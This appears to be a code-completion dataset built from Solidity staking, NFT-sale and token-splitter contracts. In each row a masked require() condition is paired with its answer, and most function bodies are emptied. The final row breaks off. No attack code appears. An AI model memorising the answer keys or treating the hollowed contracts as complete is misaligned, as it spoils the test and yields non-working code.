| tokenWhitelist[_tokenAddr].votingPower!=0,"Token not accepted for staking" | 489,021 | tokenWhitelist[_tokenAddr].votingPower!=0 |
"Insufficient staked tokens" | pragma solidity ^0.8.0;
contract MemeTokenStaking {
address public owner;
constructor() {
}
struct TokenInfo {
IERC20 token;
uint256 votingPower;
}
mapping(address => TokenInfo) tokenWhitelist;
mapping(address => mapping(address => uint256)) public stakes; // Mapping from user address to token address to staked amount
modifier onlyOwner() {
}
function configureToken(address _tokenAddr, uint256 _votingPower) external onlyOwner {
}
function stake(address _tokenAddr, uint256 _amount) external {
}
function unstake(address _tokenAddr, uint256 _amount) external {
require(_amount > 0, "Cannot unstake zero tokens");
require(<FILL_ME>)
// Transfer tokens back from the staking contract to the user
tokenWhitelist[_tokenAddr].token.transfer(msg.sender, _amount);
stakes[msg.sender][_tokenAddr] -= _amount; // Update user's stake amount
}
}
| stakes[msg.sender][_tokenAddr]>=_amount,"Insufficient staked tokens" | 489,021 | stakes[msg.sender][_tokenAddr]>=_amount |
"DropspaceSale: caller is not the withdrawal wallet" | //SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.4;
import "./IDropspaceSale.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "erc721a/contracts/ERC721A.sol";
contract DropspaceSale is IDropspaceSale, ERC721A, Ownable {
using SafeMath for uint256;
using Strings for uint256;
uint256 MAX = 2**256 - 1;
uint256 public override mintLimit;
uint256 public override mintPrice;
uint256 public override supplyLimit;
string public override baseURI;
bool public override smartContractAllowance = false;
bool public override saleActive;
bool public override presaleActive;
bool public override whitelistSaleActive;
address payable public override withdrawalWallet;
address payable public override devWallet;
address public override ticketAddress;
bool public override whitelistBuyOnce;
uint256 devSaleShare;
uint256 ownerSaleShare;
mapping(uint256 => bool) public override usedTickets;
bytes32 public override whitelistRoot;
mapping(address => bool) public override whitelistClaimed;
constructor(
uint256 _supplyLimit,
uint256 _mintLimit,
uint256 _mintPrice,
uint256 _devSaleShare,
address payable _withdrawalWallet,
address payable _devWallet,
address _ticketAddress,
string memory _name,
string memory _ticker,
string memory _baseURI
) ERC721A(_name, _ticker) {
}
modifier onlyWithdrawalWallet() {
require(<FILL_ME>)
_;
}
function setWhitelistBuyOnce(bool _whitelistBuyOnce) external onlyOwner override {
}
function emergencyWithdraw() external onlyOwner override {
}
function changeSupplyLimit(uint256 _supplyLimit) external onlyOwner override {
}
function setMintPrice(uint256 _mintPrice) external onlyOwner override {
}
function setWhitelistClaimStatus(address _user, bool _status) public onlyOwner override {
}
function _setWhitelistClaimStatus(address _user, bool _status) internal {
}
function setWhitelistRoot(bytes32 _whitelistRoot) external onlyOwner override {
}
function setDevSaleShare(uint256 _devSaleShare) external override onlyOwner {
}
function toggleSaleActive() external onlyOwner override {
}
function toggleWhitelistSaleActive() external onlyOwner override {
}
function setBaseURI(string memory _baseURI) external onlyOwner override {
}
function setSmartContractAllowance(bool _smartContractAllowance) external onlyOwner override {
}
function setWithdrawalWallet(address payable _withdrawalWallet) external onlyOwner override {
}
function setDevWallet(address payable _devWallet) external onlyOwner override {
}
function setMintLimit(uint256 _mintLimit) external onlyOwner override {
}
function withdraw() external onlyOwner override {
}
function reserve(uint256 _amount) external onlyOwner override {
}
function buy(uint256 _amount) external override payable {
}
function _mint(uint256 _amount) internal {
}
function tokenURI(uint256 _tokenId) public view override returns(string memory) {
}
function togglePresaleActive() external onlyOwner override {
}
function setTicketAddress(address _ticketAddress) external onlyOwner override {
}
function presaleBuy(uint256 _ticketId, uint _amount) external payable override {
}
function _verifyWhitelist(address _user, bytes32[] calldata _merkleProof) internal view returns(bool) {
}
function whitelistBuy(uint256 _amount, bytes32[] calldata _merkleProof) external payable override {
}
function clearTicket(uint256 _ticketId) external override onlyOwner{
}
receive() external override payable {}
}
| address(withdrawalWallet)==_msgSender(),"DropspaceSale: caller is not the withdrawal wallet" | 489,135 | address(withdrawalWallet)==_msgSender() |
"Not enough tokens left." | //SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.4;
import "./IDropspaceSale.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "erc721a/contracts/ERC721A.sol";
contract DropspaceSale is IDropspaceSale, ERC721A, Ownable {
using SafeMath for uint256;
using Strings for uint256;
uint256 MAX = 2**256 - 1;
uint256 public override mintLimit;
uint256 public override mintPrice;
uint256 public override supplyLimit;
string public override baseURI;
bool public override smartContractAllowance = false;
bool public override saleActive;
bool public override presaleActive;
bool public override whitelistSaleActive;
address payable public override withdrawalWallet;
address payable public override devWallet;
address public override ticketAddress;
bool public override whitelistBuyOnce;
uint256 devSaleShare;
uint256 ownerSaleShare;
mapping(uint256 => bool) public override usedTickets;
bytes32 public override whitelistRoot;
mapping(address => bool) public override whitelistClaimed;
constructor(
uint256 _supplyLimit,
uint256 _mintLimit,
uint256 _mintPrice,
uint256 _devSaleShare,
address payable _withdrawalWallet,
address payable _devWallet,
address _ticketAddress,
string memory _name,
string memory _ticker,
string memory _baseURI
) ERC721A(_name, _ticker) {
}
modifier onlyWithdrawalWallet() {
}
function setWhitelistBuyOnce(bool _whitelistBuyOnce) external onlyOwner override {
}
function emergencyWithdraw() external onlyOwner override {
}
function changeSupplyLimit(uint256 _supplyLimit) external onlyOwner override {
}
function setMintPrice(uint256 _mintPrice) external onlyOwner override {
}
function setWhitelistClaimStatus(address _user, bool _status) public onlyOwner override {
}
function _setWhitelistClaimStatus(address _user, bool _status) internal {
}
function setWhitelistRoot(bytes32 _whitelistRoot) external onlyOwner override {
}
function setDevSaleShare(uint256 _devSaleShare) external override onlyOwner {
}
function toggleSaleActive() external onlyOwner override {
}
function toggleWhitelistSaleActive() external onlyOwner override {
}
function setBaseURI(string memory _baseURI) external onlyOwner override {
}
function setSmartContractAllowance(bool _smartContractAllowance) external onlyOwner override {
}
function setWithdrawalWallet(address payable _withdrawalWallet) external onlyOwner override {
}
function setDevWallet(address payable _devWallet) external onlyOwner override {
}
function setMintLimit(uint256 _mintLimit) external onlyOwner override {
}
function withdraw() external onlyOwner override {
}
function reserve(uint256 _amount) external onlyOwner override {
}
function buy(uint256 _amount) external override payable {
}
function _mint(uint256 _amount) internal {
require(<FILL_ME>)
_safeMint(_msgSender(), _amount);
}
function tokenURI(uint256 _tokenId) public view override returns(string memory) {
}
function togglePresaleActive() external onlyOwner override {
}
function setTicketAddress(address _ticketAddress) external onlyOwner override {
}
function presaleBuy(uint256 _ticketId, uint _amount) external payable override {
}
function _verifyWhitelist(address _user, bytes32[] calldata _merkleProof) internal view returns(bool) {
}
function whitelistBuy(uint256 _amount, bytes32[] calldata _merkleProof) external payable override {
}
function clearTicket(uint256 _ticketId) external override onlyOwner{
}
receive() external override payable {}
}
| totalSupply().add(_amount)<=supplyLimit,"Not enough tokens left." | 489,135 | totalSupply().add(_amount)<=supplyLimit |
"Dropspace::presaleBuy: invalid ticket." | //SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.4;
import "./IDropspaceSale.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "erc721a/contracts/ERC721A.sol";
contract DropspaceSale is IDropspaceSale, ERC721A, Ownable {
using SafeMath for uint256;
using Strings for uint256;
uint256 MAX = 2**256 - 1;
uint256 public override mintLimit;
uint256 public override mintPrice;
uint256 public override supplyLimit;
string public override baseURI;
bool public override smartContractAllowance = false;
bool public override saleActive;
bool public override presaleActive;
bool public override whitelistSaleActive;
address payable public override withdrawalWallet;
address payable public override devWallet;
address public override ticketAddress;
bool public override whitelistBuyOnce;
uint256 devSaleShare;
uint256 ownerSaleShare;
mapping(uint256 => bool) public override usedTickets;
bytes32 public override whitelistRoot;
mapping(address => bool) public override whitelistClaimed;
constructor(
uint256 _supplyLimit,
uint256 _mintLimit,
uint256 _mintPrice,
uint256 _devSaleShare,
address payable _withdrawalWallet,
address payable _devWallet,
address _ticketAddress,
string memory _name,
string memory _ticker,
string memory _baseURI
) ERC721A(_name, _ticker) {
}
modifier onlyWithdrawalWallet() {
}
function setWhitelistBuyOnce(bool _whitelistBuyOnce) external onlyOwner override {
}
function emergencyWithdraw() external onlyOwner override {
}
function changeSupplyLimit(uint256 _supplyLimit) external onlyOwner override {
}
function setMintPrice(uint256 _mintPrice) external onlyOwner override {
}
function setWhitelistClaimStatus(address _user, bool _status) public onlyOwner override {
}
function _setWhitelistClaimStatus(address _user, bool _status) internal {
}
function setWhitelistRoot(bytes32 _whitelistRoot) external onlyOwner override {
}
function setDevSaleShare(uint256 _devSaleShare) external override onlyOwner {
}
function toggleSaleActive() external onlyOwner override {
}
function toggleWhitelistSaleActive() external onlyOwner override {
}
function setBaseURI(string memory _baseURI) external onlyOwner override {
}
function setSmartContractAllowance(bool _smartContractAllowance) external onlyOwner override {
}
function setWithdrawalWallet(address payable _withdrawalWallet) external onlyOwner override {
}
function setDevWallet(address payable _devWallet) external onlyOwner override {
}
function setMintLimit(uint256 _mintLimit) external onlyOwner override {
}
function withdraw() external onlyOwner override {
}
function reserve(uint256 _amount) external onlyOwner override {
}
function buy(uint256 _amount) external override payable {
}
function _mint(uint256 _amount) internal {
}
function tokenURI(uint256 _tokenId) public view override returns(string memory) {
}
function togglePresaleActive() external onlyOwner override {
}
function setTicketAddress(address _ticketAddress) external onlyOwner override {
}
function presaleBuy(uint256 _ticketId, uint _amount) external payable override {
require(presaleActive, "Dropspace::presaleBuy: Presale is not Active.");
require(<FILL_ME>)
require(!usedTickets[_ticketId], "Dropspace::presaleBuy: Ticket already used.");
require(_amount <= mintLimit, "Dropspace::presaleBuy: Too many tokens for one transaction.");
require(msg.value >= mintPrice.mul(_amount), "Dropspace::presaleBuy: Insufficient payment.");
usedTickets[_ticketId] = true;
_mint(_amount);
emit PresaleBuy(_msgSender(), _ticketId, _amount);
}
function _verifyWhitelist(address _user, bytes32[] calldata _merkleProof) internal view returns(bool) {
}
function whitelistBuy(uint256 _amount, bytes32[] calldata _merkleProof) external payable override {
}
function clearTicket(uint256 _ticketId) external override onlyOwner{
}
receive() external override payable {}
}
| IERC721(ticketAddress).ownerOf(_ticketId)==_msgSender(),"Dropspace::presaleBuy: invalid ticket." | 489,135 | IERC721(ticketAddress).ownerOf(_ticketId)==_msgSender() |
"Dropspace::presaleBuy: Ticket already used." | //SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.4;
import "./IDropspaceSale.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "erc721a/contracts/ERC721A.sol";
contract DropspaceSale is IDropspaceSale, ERC721A, Ownable {
using SafeMath for uint256;
using Strings for uint256;
uint256 MAX = 2**256 - 1;
uint256 public override mintLimit;
uint256 public override mintPrice;
uint256 public override supplyLimit;
string public override baseURI;
bool public override smartContractAllowance = false;
bool public override saleActive;
bool public override presaleActive;
bool public override whitelistSaleActive;
address payable public override withdrawalWallet;
address payable public override devWallet;
address public override ticketAddress;
bool public override whitelistBuyOnce;
uint256 devSaleShare;
uint256 ownerSaleShare;
mapping(uint256 => bool) public override usedTickets;
bytes32 public override whitelistRoot;
mapping(address => bool) public override whitelistClaimed;
constructor(
uint256 _supplyLimit,
uint256 _mintLimit,
uint256 _mintPrice,
uint256 _devSaleShare,
address payable _withdrawalWallet,
address payable _devWallet,
address _ticketAddress,
string memory _name,
string memory _ticker,
string memory _baseURI
) ERC721A(_name, _ticker) {
}
modifier onlyWithdrawalWallet() {
}
function setWhitelistBuyOnce(bool _whitelistBuyOnce) external onlyOwner override {
}
function emergencyWithdraw() external onlyOwner override {
}
function changeSupplyLimit(uint256 _supplyLimit) external onlyOwner override {
}
function setMintPrice(uint256 _mintPrice) external onlyOwner override {
}
function setWhitelistClaimStatus(address _user, bool _status) public onlyOwner override {
}
function _setWhitelistClaimStatus(address _user, bool _status) internal {
}
function setWhitelistRoot(bytes32 _whitelistRoot) external onlyOwner override {
}
function setDevSaleShare(uint256 _devSaleShare) external override onlyOwner {
}
function toggleSaleActive() external onlyOwner override {
}
function toggleWhitelistSaleActive() external onlyOwner override {
}
function setBaseURI(string memory _baseURI) external onlyOwner override {
}
function setSmartContractAllowance(bool _smartContractAllowance) external onlyOwner override {
}
function setWithdrawalWallet(address payable _withdrawalWallet) external onlyOwner override {
}
function setDevWallet(address payable _devWallet) external onlyOwner override {
}
function setMintLimit(uint256 _mintLimit) external onlyOwner override {
}
function withdraw() external onlyOwner override {
}
function reserve(uint256 _amount) external onlyOwner override {
}
function buy(uint256 _amount) external override payable {
}
function _mint(uint256 _amount) internal {
}
function tokenURI(uint256 _tokenId) public view override returns(string memory) {
}
function togglePresaleActive() external onlyOwner override {
}
function setTicketAddress(address _ticketAddress) external onlyOwner override {
}
function presaleBuy(uint256 _ticketId, uint _amount) external payable override {
require(presaleActive, "Dropspace::presaleBuy: Presale is not Active.");
require(IERC721(ticketAddress).ownerOf(_ticketId) == _msgSender(), "Dropspace::presaleBuy: invalid ticket.");
require(<FILL_ME>)
require(_amount <= mintLimit, "Dropspace::presaleBuy: Too many tokens for one transaction.");
require(msg.value >= mintPrice.mul(_amount), "Dropspace::presaleBuy: Insufficient payment.");
usedTickets[_ticketId] = true;
_mint(_amount);
emit PresaleBuy(_msgSender(), _ticketId, _amount);
}
function _verifyWhitelist(address _user, bytes32[] calldata _merkleProof) internal view returns(bool) {
}
function whitelistBuy(uint256 _amount, bytes32[] calldata _merkleProof) external payable override {
}
function clearTicket(uint256 _ticketId) external override onlyOwner{
}
receive() external override payable {}
}
| !usedTickets[_ticketId],"Dropspace::presaleBuy: Ticket already used." | 489,135 | !usedTickets[_ticketId] |
"Dropspace::whitelistBuy: User is not whitelisted" | //SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.4;
import "./IDropspaceSale.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "erc721a/contracts/ERC721A.sol";
contract DropspaceSale is IDropspaceSale, ERC721A, Ownable {
using SafeMath for uint256;
using Strings for uint256;
uint256 MAX = 2**256 - 1;
uint256 public override mintLimit;
uint256 public override mintPrice;
uint256 public override supplyLimit;
string public override baseURI;
bool public override smartContractAllowance = false;
bool public override saleActive;
bool public override presaleActive;
bool public override whitelistSaleActive;
address payable public override withdrawalWallet;
address payable public override devWallet;
address public override ticketAddress;
bool public override whitelistBuyOnce;
uint256 devSaleShare;
uint256 ownerSaleShare;
mapping(uint256 => bool) public override usedTickets;
bytes32 public override whitelistRoot;
mapping(address => bool) public override whitelistClaimed;
constructor(
uint256 _supplyLimit,
uint256 _mintLimit,
uint256 _mintPrice,
uint256 _devSaleShare,
address payable _withdrawalWallet,
address payable _devWallet,
address _ticketAddress,
string memory _name,
string memory _ticker,
string memory _baseURI
) ERC721A(_name, _ticker) {
}
modifier onlyWithdrawalWallet() {
}
function setWhitelistBuyOnce(bool _whitelistBuyOnce) external onlyOwner override {
}
function emergencyWithdraw() external onlyOwner override {
}
function changeSupplyLimit(uint256 _supplyLimit) external onlyOwner override {
}
function setMintPrice(uint256 _mintPrice) external onlyOwner override {
}
function setWhitelistClaimStatus(address _user, bool _status) public onlyOwner override {
}
function _setWhitelistClaimStatus(address _user, bool _status) internal {
}
function setWhitelistRoot(bytes32 _whitelistRoot) external onlyOwner override {
}
function setDevSaleShare(uint256 _devSaleShare) external override onlyOwner {
}
function toggleSaleActive() external onlyOwner override {
}
function toggleWhitelistSaleActive() external onlyOwner override {
}
function setBaseURI(string memory _baseURI) external onlyOwner override {
}
function setSmartContractAllowance(bool _smartContractAllowance) external onlyOwner override {
}
function setWithdrawalWallet(address payable _withdrawalWallet) external onlyOwner override {
}
function setDevWallet(address payable _devWallet) external onlyOwner override {
}
function setMintLimit(uint256 _mintLimit) external onlyOwner override {
}
function withdraw() external onlyOwner override {
}
function reserve(uint256 _amount) external onlyOwner override {
}
function buy(uint256 _amount) external override payable {
}
function _mint(uint256 _amount) internal {
}
function tokenURI(uint256 _tokenId) public view override returns(string memory) {
}
function togglePresaleActive() external onlyOwner override {
}
function setTicketAddress(address _ticketAddress) external onlyOwner override {
}
function presaleBuy(uint256 _ticketId, uint _amount) external payable override {
}
function _verifyWhitelist(address _user, bytes32[] calldata _merkleProof) internal view returns(bool) {
}
function whitelistBuy(uint256 _amount, bytes32[] calldata _merkleProof) external payable override {
require(whitelistSaleActive, "DropSpaceSale::whitelistBuy: Whitelist Buy is not Active.");
require(_amount <= mintLimit, "Dropspace::presaleBuy: Too many tokens for one transaction.");
require(msg.value >= mintPrice.mul(_amount), "Dropspace::presaleBuy: Insufficient payment.");
require(<FILL_ME>)
if (whitelistBuyOnce) {
require(!whitelistClaimed[_msgSender()], "Dropspace::whitelistBuy: Already claimed");
_setWhitelistClaimStatus(_msgSender(), true);
}
_mint(_amount);
emit WhitelistBuy(_msgSender(), _amount);
}
function clearTicket(uint256 _ticketId) external override onlyOwner{
}
receive() external override payable {}
}
| _verifyWhitelist(_msgSender(),_merkleProof),"Dropspace::whitelistBuy: User is not whitelisted" | 489,135 | _verifyWhitelist(_msgSender(),_merkleProof) |
"Dropspace::clearTicket: Ticket is not used" | //SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.4;
import "./IDropspaceSale.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "erc721a/contracts/ERC721A.sol";
contract DropspaceSale is IDropspaceSale, ERC721A, Ownable {
using SafeMath for uint256;
using Strings for uint256;
uint256 MAX = 2**256 - 1;
uint256 public override mintLimit;
uint256 public override mintPrice;
uint256 public override supplyLimit;
string public override baseURI;
bool public override smartContractAllowance = false;
bool public override saleActive;
bool public override presaleActive;
bool public override whitelistSaleActive;
address payable public override withdrawalWallet;
address payable public override devWallet;
address public override ticketAddress;
bool public override whitelistBuyOnce;
uint256 devSaleShare;
uint256 ownerSaleShare;
mapping(uint256 => bool) public override usedTickets;
bytes32 public override whitelistRoot;
mapping(address => bool) public override whitelistClaimed;
constructor(
uint256 _supplyLimit,
uint256 _mintLimit,
uint256 _mintPrice,
uint256 _devSaleShare,
address payable _withdrawalWallet,
address payable _devWallet,
address _ticketAddress,
string memory _name,
string memory _ticker,
string memory _baseURI
) ERC721A(_name, _ticker) {
}
modifier onlyWithdrawalWallet() {
}
function setWhitelistBuyOnce(bool _whitelistBuyOnce) external onlyOwner override {
}
function emergencyWithdraw() external onlyOwner override {
}
function changeSupplyLimit(uint256 _supplyLimit) external onlyOwner override {
}
function setMintPrice(uint256 _mintPrice) external onlyOwner override {
}
function setWhitelistClaimStatus(address _user, bool _status) public onlyOwner override {
}
function _setWhitelistClaimStatus(address _user, bool _status) internal {
}
function setWhitelistRoot(bytes32 _whitelistRoot) external onlyOwner override {
}
function setDevSaleShare(uint256 _devSaleShare) external override onlyOwner {
}
function toggleSaleActive() external onlyOwner override {
}
function toggleWhitelistSaleActive() external onlyOwner override {
}
function setBaseURI(string memory _baseURI) external onlyOwner override {
}
function setSmartContractAllowance(bool _smartContractAllowance) external onlyOwner override {
}
function setWithdrawalWallet(address payable _withdrawalWallet) external onlyOwner override {
}
function setDevWallet(address payable _devWallet) external onlyOwner override {
}
function setMintLimit(uint256 _mintLimit) external onlyOwner override {
}
function withdraw() external onlyOwner override {
}
function reserve(uint256 _amount) external onlyOwner override {
}
function buy(uint256 _amount) external override payable {
}
function _mint(uint256 _amount) internal {
}
function tokenURI(uint256 _tokenId) public view override returns(string memory) {
}
function togglePresaleActive() external onlyOwner override {
}
function setTicketAddress(address _ticketAddress) external onlyOwner override {
}
function presaleBuy(uint256 _ticketId, uint _amount) external payable override {
}
function _verifyWhitelist(address _user, bytes32[] calldata _merkleProof) internal view returns(bool) {
}
function whitelistBuy(uint256 _amount, bytes32[] calldata _merkleProof) external payable override {
}
function clearTicket(uint256 _ticketId) external override onlyOwner{
require(<FILL_ME>)
usedTickets[_ticketId] = false;
emit TicketCleared(_ticketId);
}
receive() external override payable {}
}
| usedTickets[_ticketId],"Dropspace::clearTicket: Ticket is not used" | 489,135 | usedTickets[_ticketId] |
"Transfer failed" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract FT500TokenSplitter is Ownable {
address public teamWallet1;
address public teamWallet2;
address public teamWallet3;
address public teamWallet4;
IERC20 public token;
constructor() {
}
receive() external payable {}
function updateteamWallet1(address newWallet) external onlyOwner {
}
function updateMarketingWallet(address newWallet) external onlyOwner {
}
function updateOperationalWallet(address newWallet) external onlyOwner {
}
function updateteamWallet4(address newWallet) external onlyOwner {
}
function updateTokenAddress(address newTokenAddress) external onlyOwner {
}
function splitTokens() external {
uint256 balance = token.balanceOf(address(this));
require(balance > 0, "No balance to split");
uint256 share = balance / 4;
require(<FILL_ME>)
require(token.transfer(teamWallet2, share), "Transfer failed");
require(token.transfer(teamWallet3, share), "Transfer failed");
require(token.transfer(teamWallet4, share), "Transfer failed");
}
function splitEth() external {
}
function splitOtherTokens(address tokenAddress) external {
}
}
| token.transfer(teamWallet1,share),"Transfer failed" | 489,220 | token.transfer(teamWallet1,share) |
"Transfer failed" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract FT500TokenSplitter is Ownable {
address public teamWallet1;
address public teamWallet2;
address public teamWallet3;
address public teamWallet4;
IERC20 public token;
constructor() {
}
receive() external payable {}
function updateteamWallet1(address newWallet) external onlyOwner {
}
function updateMarketingWallet(address newWallet) external onlyOwner {
}
function updateOperationalWallet(address newWallet) external onlyOwner {
}
function updateteamWallet4(address newWallet) external onlyOwner {
}
function updateTokenAddress(address newTokenAddress) external onlyOwner {
}
function splitTokens() external {
uint256 balance = token.balanceOf(address(this));
require(balance > 0, "No balance to split");
uint256 share = balance / 4;
require(token.transfer(teamWallet1, share), "Transfer failed");
require(<FILL_ME>)
require(token.transfer(teamWallet3, share), "Transfer failed");
require(token.transfer(teamWallet4, share), "Transfer failed");
}
function splitEth() external {
}
function splitOtherTokens(address tokenAddress) external {
}
}
| token.transfer(teamWallet2,share),"Transfer failed" | 489,220 | token.transfer(teamWallet2,share) |
"Transfer failed" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract FT500TokenSplitter is Ownable {
address public teamWallet1;
address public teamWallet2;
address public teamWallet3;
address public teamWallet4;
IERC20 public token;
constructor() {
}
receive() external payable {}
function updateteamWallet1(address newWallet) external onlyOwner {
}
function updateMarketingWallet(address newWallet) external onlyOwner {
}
function updateOperationalWallet(address newWallet) external onlyOwner {
}
function updateteamWallet4(address newWallet) external onlyOwner {
}
function updateTokenAddress(address newTokenAddress) external onlyOwner {
}
function splitTokens() external {
uint256 balance = token.balanceOf(address(this));
require(balance > 0, "No balance to split");
uint256 share = balance / 4;
require(token.transfer(teamWallet1, share), "Transfer failed");
require(token.transfer(teamWallet2, share), "Transfer failed");
require(<FILL_ME>)
require(token.transfer(teamWallet4, share), "Transfer failed");
}
function splitEth() external {
}
function splitOtherTokens(address tokenAddress) external {
}
}
| token.transfer(teamWallet3,share),"Transfer failed" | 489,220 | token.transfer(teamWallet3,share) |
"Transfer failed" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract FT500TokenSplitter is Ownable {
address public teamWallet1;
address public teamWallet2;
address public teamWallet3;
address public teamWallet4;
IERC20 public token;
constructor() {
}
receive() external payable {}
function updateteamWallet1(address newWallet) external onlyOwner {
}
function updateMarketingWallet(address newWallet) external onlyOwner {
}
function updateOperationalWallet(address newWallet) external onlyOwner {
}
function updateteamWallet4(address newWallet) external onlyOwner {
}
function updateTokenAddress(address newTokenAddress) external onlyOwner {
}
function splitTokens() external {
uint256 balance = token.balanceOf(address(this));
require(balance > 0, "No balance to split");
uint256 share = balance / 4;
require(token.transfer(teamWallet1, share), "Transfer failed");
require(token.transfer(teamWallet2, share), "Transfer failed");
require(token.transfer(teamWallet3, share), "Transfer failed");
require(<FILL_ME>)
}
function splitEth() external {
}
function splitOtherTokens(address tokenAddress) external {
}
}
| token.transfer(teamWallet4,share),"Transfer failed" | 489,220 | token.transfer(teamWallet4,share) |
"Transfer failed" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract FT500TokenSplitter is Ownable {
address public teamWallet1;
address public teamWallet2;
address public teamWallet3;
address public teamWallet4;
IERC20 public token;
constructor() {
}
receive() external payable {}
function updateteamWallet1(address newWallet) external onlyOwner {
}
function updateMarketingWallet(address newWallet) external onlyOwner {
}
function updateOperationalWallet(address newWallet) external onlyOwner {
}
function updateteamWallet4(address newWallet) external onlyOwner {
}
function updateTokenAddress(address newTokenAddress) external onlyOwner {
}
function splitTokens() external {
}
function splitEth() external {
}
function splitOtherTokens(address tokenAddress) external {
IERC20 _token = IERC20(tokenAddress);
uint256 balance = _token.balanceOf(address(this));
require(balance > 0, "No balance to split");
uint256 share = balance / 4;
require(<FILL_ME>)
require(_token.transfer(teamWallet2, share), "Transfer failed");
require(_token.transfer(teamWallet3, share), "Transfer failed");
require(_token.transfer(teamWallet4, share), "Transfer failed");
}
}
| _token.transfer(teamWallet1,share),"Transfer failed" | 489,220 | _token.transfer(teamWallet1,share) |
"Transfer failed" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract FT500TokenSplitter is Ownable {
address public teamWallet1;
address public teamWallet2;
address public teamWallet3;
address public teamWallet4;
IERC20 public token;
constructor() {
}
receive() external payable {}
function updateteamWallet1(address newWallet) external onlyOwner {
}
function updateMarketingWallet(address newWallet) external onlyOwner {
}
function updateOperationalWallet(address newWallet) external onlyOwner {
}
function updateteamWallet4(address newWallet) external onlyOwner {
}
function updateTokenAddress(address newTokenAddress) external onlyOwner {
}
function splitTokens() external {
}
function splitEth() external {
}
function splitOtherTokens(address tokenAddress) external {
IERC20 _token = IERC20(tokenAddress);
uint256 balance = _token.balanceOf(address(this));
require(balance > 0, "No balance to split");
uint256 share = balance / 4;
require(_token.transfer(teamWallet1, share), "Transfer failed");
require(<FILL_ME>)
require(_token.transfer(teamWallet3, share), "Transfer failed");
require(_token.transfer(teamWallet4, share), "Transfer failed");
}
}
| _token.transfer(teamWallet2,share),"Transfer failed" | 489,220 | _token.transfer(teamWallet2,share) |
"Transfer failed" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract FT500TokenSplitter is Ownable {
address public teamWallet1;
address public teamWallet2;
address public teamWallet3;
address public teamWallet4;
IERC20 public token;
constructor() {
}
receive() external payable {}
function updateteamWallet1(address newWallet) external onlyOwner {
}
function updateMarketingWallet(address newWallet) external onlyOwner {
}
function updateOperationalWallet(address newWallet) external onlyOwner {
}
function updateteamWallet4(address newWallet) external onlyOwner {
}
function updateTokenAddress(address newTokenAddress) external onlyOwner {
}
function splitTokens() external {
}
function splitEth() external {
}
function splitOtherTokens(address tokenAddress) external {
IERC20 _token = IERC20(tokenAddress);
uint256 balance = _token.balanceOf(address(this));
require(balance > 0, "No balance to split");
uint256 share = balance / 4;
require(_token.transfer(teamWallet1, share), "Transfer failed");
require(_token.transfer(teamWallet2, share), "Transfer failed");
require(<FILL_ME>)
require(_token.transfer(teamWallet4, share), "Transfer failed");
}
}
| _token.transfer(teamWallet3,share),"Transfer failed" | 489,220 | _token.transfer(teamWallet3,share) |
"Transfer failed" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract FT500TokenSplitter is Ownable {
address public teamWallet1;
address public teamWallet2;
address public teamWallet3;
address public teamWallet4;
IERC20 public token;
constructor() {
}
receive() external payable {}
function updateteamWallet1(address newWallet) external onlyOwner {
}
function updateMarketingWallet(address newWallet) external onlyOwner {
}
function updateOperationalWallet(address newWallet) external onlyOwner {
}
function updateteamWallet4(address newWallet) external onlyOwner {
}
function updateTokenAddress(address newTokenAddress) external onlyOwner {
}
function splitTokens() external {
}
function splitEth() external {
}
function splitOtherTokens(address tokenAddress) external {
IERC20 _token = IERC20(tokenAddress);
uint256 balance = _token.balanceOf(address(this));
require(balance > 0, "No balance to split");
uint256 share = balance / 4;
require(_token.transfer(teamWallet1, share), "Transfer failed");
require(_token.transfer(teamWallet2, share), "Transfer failed");
